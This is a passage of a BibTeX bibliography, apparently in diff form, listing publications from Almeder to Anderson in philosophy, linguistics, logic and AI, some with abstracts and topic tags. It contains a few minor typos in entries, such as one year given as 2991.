{Robert Almeder}, + title = {Vacuous Truth}, + journal = {Synth\'ese}, + year = {1990}, + volume = {84}, + number = {3}, + pages = {507--524}, + topic = {truth;correspondence-theory-of-truth;} + } + +@unpublished{ almog-kamp:1983a, + author = {Joseph Almog and Hans Kamp}, + title = {Game-Theoretical Semantics: Some Critical Reflections on + the Contributions of {J}. {H}intikka, {L}. {C}arlsson + and {E}. {S}aarinen}, + year = {1983}, + note = {Unpublished manuscript, University of Stuttgart.}, + topic = {game-theoretic-semantics;} + } + +@incollection{ almog:1984a, + author = {Joseph Almog}, + title = {Semantical Anthropology}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {479--489}, + address = {Minneapolis}, + topic = {reference;philosophy-of-language;} + } + +@article{ almog:1984b, + author = {Joseph Almog}, + title = {Would You Believe That?}, + journal = {Synth\'ese}, + year = {1984}, + volume = {58}, + number = {1}, + pages = {1--37}, + topic = {intensionality;hyperintensionality;} + } + +@article{ almog:1984c, + author = {Joseph Almog}, + title = {Believe It or Not: It Is a Puzzle}, + journal = {Synth\'ese}, + year = {1984}, + volume = {58}, + number = {1}, + pages = {51--61}, + topic = {intensionality;hyperintensionality;} + } + +@article{ almog:1989a, + author = {Joseph Almog}, + title = {Logic and the World}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {2}, + pages = {197--220}, + topic = {philosophy-of-logic;logical-form;logical-consequence;} + } + +@book{ almog-etal:1989a, + editor = {Joseph Almog and John Perry and Howard Wettstein}, + title = {Themes from {K}aplan}, + publisher = {Oxford University Press}, + year = {1989}, + address = {Oxford}, + topic = {analytic-philosophy-collection;demonstratives;reference;} + } + +@article{ almog:1997a, + author = {Joseph Almog}, + title = {The Complexity of Marketplace Logic}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {5}, + pages = {545--569}, + topic = {common-sense-reasoning;} + } + +@incollection{ almog:1998a, + author = {Joseph Almog}, + title = {The Subject Verb Object Class {I}}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {39-- 76}, + address = {Oxford}, + topic = {logical-form;syntax-semantics-interface;Montague-grammar; + foundations-of-semantics;} + } + +@incollection{ almog:1998b, + author = {Joseph Almog}, + title = {The Subject Verb Object Class {II}}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {77--104}, + address = {Oxford}, + topic = {logical-form;syntax-semantics-interface;Montague-grammar; + foundations-of-semantics;indefiniteness;} + } + +@article{ almog:1999a, + author = {Joseph Almog}, + title = {Nothing, Something, Infinity}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {9}, + pages = {462--478}, + topic = {philosophical-ontology;} + } + +@article{ almuallim-dietterich:1994a, + author = {Hussein Almuallim and Thomas G. Dietterich}, + title = {Learning {B}oolean Concepts in the Presence of Many + Irrelevant Features}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {69}, + number = {1--2}, + pages = {279--305}, + acontentnote = {Abstract: + In many domains, an appropriate inductive bias is the + MIN-FEATURES bias, which prefers consistent hypotheses definable + over as few features as possible. This paper defines and studies + this bias in Boolean domains. First, it is shown that any + learning algorithm implementing the MIN-FEATURES bias requires + Theta((ln (1/[delta]) + [ 2p + p ln n])/ [epsilon]) training + examples to guarantee PAC-learning a concept having p relevant + features out of n available features. This bound is only + logarithmic in the number of irrelevant features. + For implementing the MIN-FEATURES bias, the paper presents five + algorithms that identify a subset of features sufficient to + construct a hypothesis consistent with the training examples. + FOCUS-1 is a straightforward algorithm that returns a minimal + and sufficient subset of features in quasi-polynomial time. + FOCUS-2 does the same task as FOCUS-1 but is empirically shown + to be substantially faster than FOCUS-1. Finally, the + Simple-Greedy, Mutual-Information-Greedy and Weighted-Greedy + algorithms are three greedy heuristics that trade optimality for + computational efficiency. + Experimental studies are presented that compare these exact and + approximate algorithms to two well-known algorithms, ID3 and + FRINGE, in learning situations where many irrelevant features + are present. These experiments show that-contrary to + expectations-the ID3 and FRINGE algorithms do not implement good + approximations of MIN-FEATURES. The sample complexity and + generalization performance of the FOCUS algorithms is + substantially better than either ID3 or FRINGE on learning + problems where the MIN-FEATURES bias is appropriate. These + experiments also show that, among our three heuristics, the + Weighted-Greedy algorithm provides an excellent approximation to + the FOCUS algorithms. + } , + topic = {machine-learning;PAC-learning;experimental-AI; + polynomial-algorithms;} + } + +@article{ almuallim:1996a, + author = {Hussein Almuallim}, + title = {An Efficient Algorithm for Optimal Pruning of Decision + Trees}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {83}, + number = {2}, + pages = {347--362}, + acontentnote = {Abstract: + Pruning decision trees is a useful technique for improving the + generalization performance in decision tree induction, and for + trading accuracy for simplicity in other applications. In this + paper, a new algorithm called OPT-2 for optimal pruning of + decision trees is introduced. The algorithm is based on dynamic + programming. In its most basic form, the time and space + complexities of OPT-2 are both [Theta](nC), where n is the + number of test nodes in the initial decision tree, and C is the + number of leaves in the target (pruned) decision tree. This is + an improvement over the recently published OPT algorithm of + Bohanec and Bratko (which is the only known algorithm for + optimal decision tree pruning) especially in the case of heavy + pruning and when the tests of the given decision tree have many + outcomes. If so desired, the space required by OPT-2 can further + be reduced by a factor of r at the cost of increasing the + execution time by a factor that is bounded above by (r+1)/2 + (this is a considerable overestimate, however). From a practical + point of view, OPT-2 enjoys considerable flexibility in various + aspects, and is easy to implement. + } , + topic = {machine-induction;decision-trees;complexity-in-AI;} + } + +@incollection{ aloni-etal:1999a, + author = {Maria Aloni and David Beaver and Brady Zack Clark}, + title = {Focus and Topic Sensitive Operators}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {55--61}, + address = {Amsterdam}, + topic = {focus;topic;dynamic-logic;} + } + +@article{ alonso:2002a, + author = {Eduardo Alonso}, + title = {{AI} and Agents: State of the Art}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {23}, + number = {3}, + pages = {25--29}, + topic = {agent-architectures;multiagent-systems;} + } + +@book{ alshawi:1987a, + author = {Hiyan Alshawi}, + title = {Memory and Context for Language Interpretaion}, + publisher = {Cambridge University Press}, + year = {1987}, + address = {Cambridge, England}, + xref = {Review: guets:1996a.}, + topic = {memory-models;memory;context;nl-interpretation;} + } + +@incollection{ alshawi:1996a, + author = {Hiyan Alshawi}, + title = {Qualitative and Quantitative Models of Speech + Translation}, + booktitle = {The Balancing Act: Combining Symbolic and Statistical + Approaches to Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Judith Klavans and Philip Resnik}, + pages = {27--48}, + address = {Cambridge, Massachusetts}, + topic = {word-sequence-probabilities;statistical-nlp; + speech-to-speech-machine-translation;} + } + +@inproceedings{ alshawi:1996b, + author = {Hiyan Alshawi}, + title = {Head Automata and Bilingual Tiling: Translation with Mininal + Representations}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {167--176}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {machine-translation;} + } + +@incollection{ alshawi:1996c, + author = {Hiyan Alshawi}, + title = {Semantic Ambiguity and Perceived Ambiguity}, + booktitle = {Semantic Ambiguity and Underspecification}, + publisher = {Cambridge University Press}, + year = {1996}, + editor = {Kees {van Deemter} and Stanley Peters}, + address = {Cambridge, England}, + missinginfo = {pages}, + topic = {ambiguity;} + } + +@incollection{ alshawi:1996d, + author = {Hiyan Alshawi}, + title = {Underspecified First Order Logics}, + booktitle = {Semantic Ambiguity and Underspecification}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + editor = {Kees {van Deemter} and Stanley Peters}, + pages = {145--158}, + topic = {semantic-underspecification;logic-of-ambiguity;} + } + +@inproceedings{ alshawi:1997a, + author = {Hiyan Alshawi and Adam L. Buchsbaum and Fei Xia}, + title = {A Comparison of Head Transducers and Transfer for a + Limited Domain Translation Application}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {360--365}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {New Brunswick, New Jersey}, + topic = {machine-tranalslation;} + } + +@inproceedings{ alshawi-etal:1998a, + author = {Hiyan Alshawi and Srinivas Bangalore and Shona Douglas}, + title = {Automatic Acquisition of Hierarchical Transduction Models + for Machine Translation}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {41--47}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {machine-translation;machine-learning;} + } + +@article{ alshawi-etal:2000a, + author = {Hiyan Alshawi and Srinivas Bangalore and Shona Douglas}, + title = {Learning Dependency Translation Models as Collections of + Finite-State Head Transducers}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {1}, + pages = {45--60}, + topic = {finite-state-nlp;machine-learning;} + } + +@book{ alsina-etal:1997a, + editor = {Alex Alsina and Joan Bresnan and Peter Sells}, + title = {Complex Predicates}, + publisher = {CSLI Publications}, + year = {1997}, + address = {Stanford, California}, + xref = {Review: gunkel:1998a}, + topic = {complex-predicates;morphology;syntax;} + } + +@article{ alston:1964a, + author = {William P. Alston}, + title = {Linguistic Acts}, + journal = {American Philosophical Quarterly}, + year = {1964}, + volume = {1}, + pages = {138--146}, + missinginfo = {number}, + topic = {JL-Austin;speech-acts;pragmatics;} + } + +@book{ alston:1964b, + author = {William P. Alston}, + title = {Philosophy of Language}, + publisher = {Prentice-Hall}, + year = {1964}, + address = {Englewood Cliffs, New Jeersey}, + topic = {philosophy-of-language;} + } + +@incollection{ alston:1967a, + author = {William P. Alston}, + title = {Vagueness}, + booktitle = {The Encyclopedia of Philosophy}, + publisher = {MacMillan}, + year = {1967}, + editor = {Paul Edwards}, + pages = {218--221}, + address = {New York}, + topic = {vagueness;} + } + +@incollection{ alston:1971a, + author = {William P. Alston}, + title = {How Does One Tell Whether a Word Has One, Several, Or Many + Senses?}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {35--47}, + address = {Cambridge, England}, + topic = {word-sense;philosophy-of-language;nl-semantics;ambiguity;} + } + +@inproceedings{ alterman:1985a, + author = {Richard Alterman}, + title = {Adaptive Planning: Refitting Old Plans to New Situations}, + booktitle = {Proceedings 7th Cognitive Science Society}, + year = {1985}, + missinginfo = {editor, pages}, + topic = {plan-reuse;} +} + +@article{ alterman:1985b, + author = {Richard Alterman}, + title = {A Dictionary Based on Concept Coherence}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {2}, + pages = {153--186}, + acontentnote = {Abstract: + NEXUS is a computational system which uses a dictionary of 100 + to 150 event/state concepts to construct representations of + narrative text. Associated with each event/state concept are + its deep case relations and their default values. Concepts in + the dictionary are related by one of seven event/state concept + coherence relations. Relationships between concepts include a + list of constraints on the matching of case arguments between + the two concepts. + NEXUS has been successfully applied to eight paragraph-length + samples of text, including ``A Restaurant Story'', ``The Margie + Story'', and ``Robbing a Liquor Store''. The resulting discourse + representations have been used successfully to answer questions + and compute summaries for these texts. + The organization of this paper is as follows. After introducing + the notion of event/state concept coherence, the paper proceeds + by discussing the structure of the dictionary. This includes + detailed descriptions of how individual concepts are represented + and related, and some discussion of issues concerning causality + and property inheritance. Then, after giving some brief examples + of the representations produced by NEXUS, the NEXUS program is + described. NEXUS was programmed in procedural logic in LISP, so + this section will include Horn clause specifications. The fourth + section of the paper shows a subportion of the dictionary and, + in detail, describes NEXUS processing of five samples of text. + Included in the appendix are examples of NEXUS' input and + output. + } , + topic = {text-understanding;computational-semantics;} + } + +@inproceedings{ alterman:1986a, + author = {Richard Alterman}, + title = {Adaptive Planning}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1987}, + editor = {Tom Kehler and Stan Rosenschein}, + pages = {65--69}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {plan-reuse;} + } + +@article{ alterman-etal:1988a, + author = {Richard Alterman and R. Zito-Wolf and T. Carpenter}, + title = {Adaptive Planning}, + journal = {Cognitive Science}, + year = {1988}, + volume = {12}, + pages = {361--398}, + missinginfo = {A's 1st name, number}, + topic = {plan-reuse;} + } + +@book{ altham_jej:1971a, + author = {J.E.J. Altham}, + title = {The Logic of Plurality}, + publisher = {Methuen \& Co.}, + year = {1971}, + address = {London}, + missinginfo = {A's 1st name.}, + topic = {plural;nl-quantifiers;} + } + +@article{ althofer:1990a, + author = {Ingo Alth\"ofer}, + title = {An Incremental Negamax Algorithm}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {43}, + number = {1}, + pages = {57--65}, + topic = {game-playing;search;} + } + +@article{ althofer:1991a, + author = {Ingo Alth\"ofer}, + title = {Data Compression Using an Intelligent Generator: The + Storage of Chess Games as an Example}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {52}, + number = {1}, + pages = {109--113}, + topic = {data-compression;} + } + +@article{ althofer-balkenhol:1991a, + author = {Ingo Alth\"ofer and Bernhard Balkenhol}, + title = {A Game Tree with Distinct Leaf Values Which Is Easy for + The Alpha-Beta Algorithm}, + journal = {Artificial Intelligence}, + year = {2991}, + volume = {52}, + number = {2}, + pages = {183--190}, + topic = {game-playing;search;game-trees;} + } + +@article{ altman_gtm:1988a, + author = {Gerry T.M. Altmann}, + title = {Ambiguity, Parsing Strategies, and Computational Models}, + journal = {Language and Cognitive Processes}, + year = {1988}, + volume = {3}, + pages = {73--97}, + missinginfo = {A's 1st name, number}, + topic = {cognitive-modularity;parsing-psychology;} + } + +@article{ altman_gtm-steedman:1988a, + author = {Gerry T.M. Altmann and Mark Steedman}, + title = {Interaction with Context During Human Sentence Processing}, + journal = {Cognition}, + year = {1988}, + volume = {30}, + pages = {191--238}, + missinginfo = {A's 1st name, number}, + topic = {cognitive-modularity;parsing-psychology;context;} + } + +@article{ altman_gtm:1989a, + author = {Gerry T.M. Altmann}, + title = {Parsing and Interpretation: An Introduction}, + journal = {Language and Cognitive Processes}, + year = {1989}, + volume = {4}, + pages = {1--19}, + missinginfo = {A's 1st name, number}, + topic = {cognitive-modularity;parsing-psychology;} + } + +@book{ altman_gtm:1998a, + author = {Gerry T.M. Altman}, + title = {The Ascent of {B}abel}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + ISBN = {0-19-852377-7 (paperback), 0-19-852378-5 (hardback)}, + topic = {psycholinguistics;} + } + +@article{ altmann_rb:1999a, + author = {Ross B. Altmann}, + title = {{AI} in Medicine---The Spectrum of Challenges from + Managed Care to Molecular Medicine}, + journal = {The {AI} Magazine}, + year = {1999}, + volume = {20}, + number = {3}, + pages = {67--77}, + topic = {medical-AI;} + } + +@article{ altrichter:1985a, + author = {Ferenc Altrichter}, + title = {Belief and Possibility}, + journal = {The Journal of Philosophy}, + year = {1985}, + volume = {82}, + number = {7}, + pages = {364--382}, + topic = {Pierre-puzzle;belief;} + } + +@inproceedings{ amar-mcilraith:2000a, + author = {Eyal Amar and Sheila McIlraith}, + title = {Partition-Based Logical Reasoning}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {389--400}, + topic = {logics-of-context;theorem-proving;modularized-logics;} + } + +@incollection{ amarel:1968a1, + author = {Saul Amarel}, + title = {On Representations of Problems of Reasoning + about Actions}, + editor = {D. Mitchie}, + booktitle = {Machine Intelligence 3}, + publisher = {Ellis Horwood}, + address = {Chichester, England}, + pages = {131--171}, + year = {1968}, + missinginfo = {E's 1st name}, + xref = {Republication: amarel:1968a2.}, + topic = {foundations-of-planning;action;} + } + +@incollection{ amarel:1968a2, + author = {Saul Amarel}, + title = {On Representations of Problems of Reasoning + about Actions}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {2--22}, + address = {Los Altos, California}, + xref = {Journal Publication: amarel:1968a1.}, + topic = {foundations-of-planning;action;} + } + +@incollection{ amarger-etal:1991a, + author = {St\'ephanie Amarger and Didier Dubois and Henri Prade}, + title = {Imprecise Quantifiers and Conditional Probabilities}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {33--37}, + address = {Berlin}, + topic = {fuzzy-logic;quantifiers;probability;} + } + +@article{ amati-etal:1995a, + author = {Fianni Amati and Luigia Aiello and Fiora Pirri}, + title = {Defaults as Restrictions on Classical {H}ilbert-Style Proofs}, + journal = {Journal of Logic, Language, and Information}, + year = {1995}, + volume = {3}, + number = {3}, + pages = {303--326}, + contentnote= {Uses idea of coherence constraints on proofs to provide + a general formulation of default logic.}, + topic = {kr;nonmonotonic-logic;default-logic;kr-course;} + } + +@article{ amati-etal:1996b, + author = {Fianni Amati and Luigia Aiello and Dov M. Gabbay and + Fiora Pirri}, + title = {A Proof-Theoretical Approach to Default Reasoning {I}: + Tableaux for Default Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1996}, + volume = {6}, + number = {2}, + pages = {205--231}, + topic = {kr;nonmonotonic-logic;default-logic;proof-theory;} + } + +@incollection{ amati-pirri:1996a, + author = {Giuseppe Amati and Fiora Pirri}, + title = {Is There a Logic of Provability for Nonmonotonic + Reasoning?}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {493--503}, + address = {San Francisco, California}, + topic = {kr;proof-theory;nonmonotonic-logic;provability-logic;kr-course;} + } + +@article{ amati-etal:1997a, + author = {Gianni Amati and Luigia Carlucci Aiello and Fiora Pirri}, + title = {Definability and Commonsense Reasoning}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {93}, + number = {1--2}, + pages = {169--199}, + topic = {common-sense-reasoning;definitions;nonmonotonic-reasoning ;} + } + +@article{ amati-etal:1997b, + author = {Giambattista Amati and Luigi Carlucci-Aiello and + Fiora Pirri}, + title = {Intuitionistic Autoepistemic Logic}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {1}, + pages = {103--120}, + topic = {intuitionistic-logic;autoepistemic-logic;} + } + +@inproceedings{ amati-pirri:1997a, + author = {Gianni Amati and Fiora Pirri}, + title = {Contexts as Relative Definitions: A Formalization Via Fixed + Points}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {7--14}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;modal-logic;fixpoints;logic-of-context;} + } + +@incollection{ amaya-benedi:2000a, + author = {F. Amaya and J.M. Bened\'i}, + title = {Using Perfect Sampling in Parameter Estimation of a Whole + Sentence Maximum Entropy Language Model}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {79--82}, + address = {Somerset, New Jersey}, + topic = {statistical-nlp;n-gram-models;} + } + +@article{ ambite-knoblock:2000a, + author = {Jos\'e Luis Ambite and Craig A. Knoblock}, + title = {Flexible and Scalable Cost-Based Query Planning in + Mediators: A Transformational Approach}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {118}, + number = {1--2}, + pages = {115--161}, + acontentnote = {Abstract: + The Internet provides access to a wealth of information. For any + given topic or application domain there are a variety of + available information sources. However, current systems, such as + search engines or topic directories in the World Wide Web, offer + only very limited capabilities for locating, combining, and + organizing information. Mediators, systems that provide + integrated access and database-like query capabilities to + information distributed over heterogeneous sources, are critical + to realize the full potential of meaningful access to networked + information. + Query planning, the task of generating a cost-efficient plan + that computes a user query from the relevant information + sources, is central to mediator systems. However, query planning + is a computationally hard problem due to the large number of + possible sources and possible orderings on the operations to + process the data. Moreover, the choice of sources, data + processing operations, and their ordering, strongly affects the + plan cost. + In this paper, we present an approach to query planning in + mediators based on a general planning paradigm called Planning + by Rewriting (PbR) (Ambite and Knoblock, 1997). Our work yields + several contributions. First, our PbR-based query planner + combines both the selection of the sources and the ordering of + the operations into a single search space in which to optimize + the plan quality. Second, by using local search techniques our + planner explores the combined search space efficiently and + produces high-quality plans. Third, because our query planner + is an instantiation of a domain-independent framework it is very + flexible and can be extended in a principled way. Fourth, our + planner has an anytime behavior. Finally, we provide empirical + results showing that our PbR-based query planner compares + favorably on scalability and plan quality over previous + approaches, which include both classical AI planning and + dynamic-programming query optimization techniques. + } , + topic = {information-retrieval;query-planning; + AI-and-the-internet;} + } + +@article{ ambler-popplestone:1975a, + author = {A.P. Ambler and R.J. Popplestone}, + title = {Inferring the Positions of Bodies from Specified Spatial + Relationships}, + journal = {Artificial Intelligence}, + year = {1975}, + volume = {6}, + number = {2}, + pages = {157--174}, + acontentnote = {Abstract: + A program has been developed which takes a specification of a + set of bodies and of spatial relations that are to hold between + them in some goal state, and produces expressions denoting the + positions of the bodies in the goal state together with residual + equations linking the variables in these expressions. + } , + topic = {spatial-reasoning;} + } + +@phdthesis{ ambros-ingerson:1987a, + author = {Jose Ambros-Ingerson}, + title = {Integrated Planning, Execution, and Monitoring}, + school = {Department of Computer Science, University of Essex}, + year = {1987}, + type = {Ph.{D}. Dissertation}, + address = {Essex, England}, + topic = {plan-monitoring;} + } + +@article{ amilhastre-etal:2002a, + author = {J\'erome Amilhastre and H\'e;\`ene Fargier and Pierre Marquis}, + title = {Consistency Restoration and Explanations in Dynamic + {CSP}s---Application to Configuration}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {135}, + number = {1--2}, + pages = {199--234}, + topic = {constraint-satisfaction;explanation;reasoning-about-consistency;} + } + +@inproceedings{ amir:1997a, + author = {Eyal Amir}, + title = {Applications of Context to Elaboration Tolerance (Abstract)}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {15--16}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;elaboration-tolerance;} + } + +@incollection{ amir:1998a, + author = {Eyal Amir}, + title = {Pointwise Circumscription Revisited}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {202--210}, + address = {San Francisco, California}, + topic = {kr;nonmonotonic-logic;circumscription;kr-course;} + } + +@inproceedings{ amir:1999a, + author = {Eyal Amir}, + title = {Object-Oriented First-Order Logic}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Nonmonotonic Reasoning, Action and Change}, + year = {1999}, + editor = {Michael Thielscher}, + pages = {1--8}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {context;logics-of-context;object-oriented-formalisms;} + } + +@incollection{ amir:2002a, + author = {Eyal Amir}, + title = {Projection in Decomposed Situation Calculus}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {315--326}, + address = {San Francisco, California}, + topic = {kr;frame-problem;temporal-reasoming;reasoning-about-actions;} + } + +@article{ ammon:1993a, + author = {Kurt Ammon}, + title = {An Automatic Proof of G\"odel's Incompleteness Theorem}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {61}, + number = {2}, + pages = {291--306}, + topic = {theorem-proving;goedels-first-theorem;} + } + +@article{ ammon:1997a, + author = {Kurt Ammon}, + title = {An Automatic Proof of G\"odel's Incompleteness Theorem}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {95}, + number = {1}, + pages = {203--207}, + topic = {theorem-proving;goedels-first-theorem;} + } + +@inproceedings{ amor-etal:2000a, + author = {N. Ben Amor and Salem Benferhat and Didier Dubois + and H\'ector Geffner and Henri Prade}, + title = {Independence in Qualitative Uncertainty Networks}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {235--246}, + topic = {qualitative-probability;reasoning-about-uncertainty;} + } + +@incollection{ amores-quesada:2002a, + author = {J. Gabriel Amores and Jos\'e Quesada}, + title = {Cooperation and Collaboration in Natural Language Command + Dialogues}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {5--11}, + address = {Edinburgh}, + topic = {cooperation;computational-dialogue;} + } + +@inproceedings{ amsili-rossari:1998a, + author = {Pascal Amsili and Corinne Rossari}, + title = {Tense and Connective Constraints on The Expression of + Causality}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {48--54}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {nl-tense;nl-causality;} + } + +@incollection{ amsler:1994a, + author = {Robert A. Amsler}, + title = {Research Toward the Development of a Lexical + Knowledge Base for Natural Language Translation}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {155--175}, + address = {Pisa and Dordrecht}, + topic = {computational-lexicography;machine-translation;} + } + +@incollection{ amsterdam:1991a, + author = {Jonathan Amsterdam}, + title = {Temporal Reasoning and Narrative Conventions}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {15--21}, + address = {San Mateo, California}, + topic = {kr;kr-course;narrative-representation;narrative-understanding;} + } + +@inproceedings{ amtrup-weber:1998a, + author = {Jan W. Amtrup and Volker Weber}, + title = {Time Mapping with Hypergraphs}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {55--61}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {parsing-algorithms;} + } + +@article{ anagnostopoulou:1999a, + author = {Elena Anagnostopoulou}, + title = {Toward a More Complete Typology of Anaphoric + Expressions}, + journal = {Linguistic Inquiry}, + year = {1999}, + volume = {30}, + number = {1}, + pages = {97--119}, + topic = {anaphora;} + } + +@book{ anand:1993a, + author = {Paul Anand}, + title = {Foundations of Rational Choice under Risk}, + publisher = {Oxford University Press}, + year = {1993}, + address = {Oxford}, + ISBN = {0-19-823303-5}, + topic = {foundations-of-decision-theory;foundations-of-utility;} + } + +@article{ anantharaman-etal:1990a, + author = {Thomas Anantharaman and Murray S. Campbell and Feng-hsiung Hsu}, + title = {Singular Extensions: Adding Selectivity to Brute-Force + Searching}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {43}, + number = {1}, + pages = {99--109}, + topic = {search;} + } + +@article{ andersen_sk:1991a, + author = {Stig K{\ae}r Andersen}, + title = {Review of {\it Probabilistic Reasoning in Intelligent + Systems: Networks of Plausible Inference}, by {J}udea + {P}earl}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {48}, + number = {1}, + pages = {117--124}, + xref = {Review of pearl:1988a.}, + topic = {Bayesian-networks;reasoning-about-uncertainty; + uncertainty-in-AI;probabilistic-reasoning;} + } + +@inproceedings{ anderson_ah:1999a, + author = {A.H. Anderson and J. Mullin and E. Katsavras and R. McEwan + and E. Grattan and P. Brundell}, + title = {Understanding Multiparty Multimedia Interactions}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, 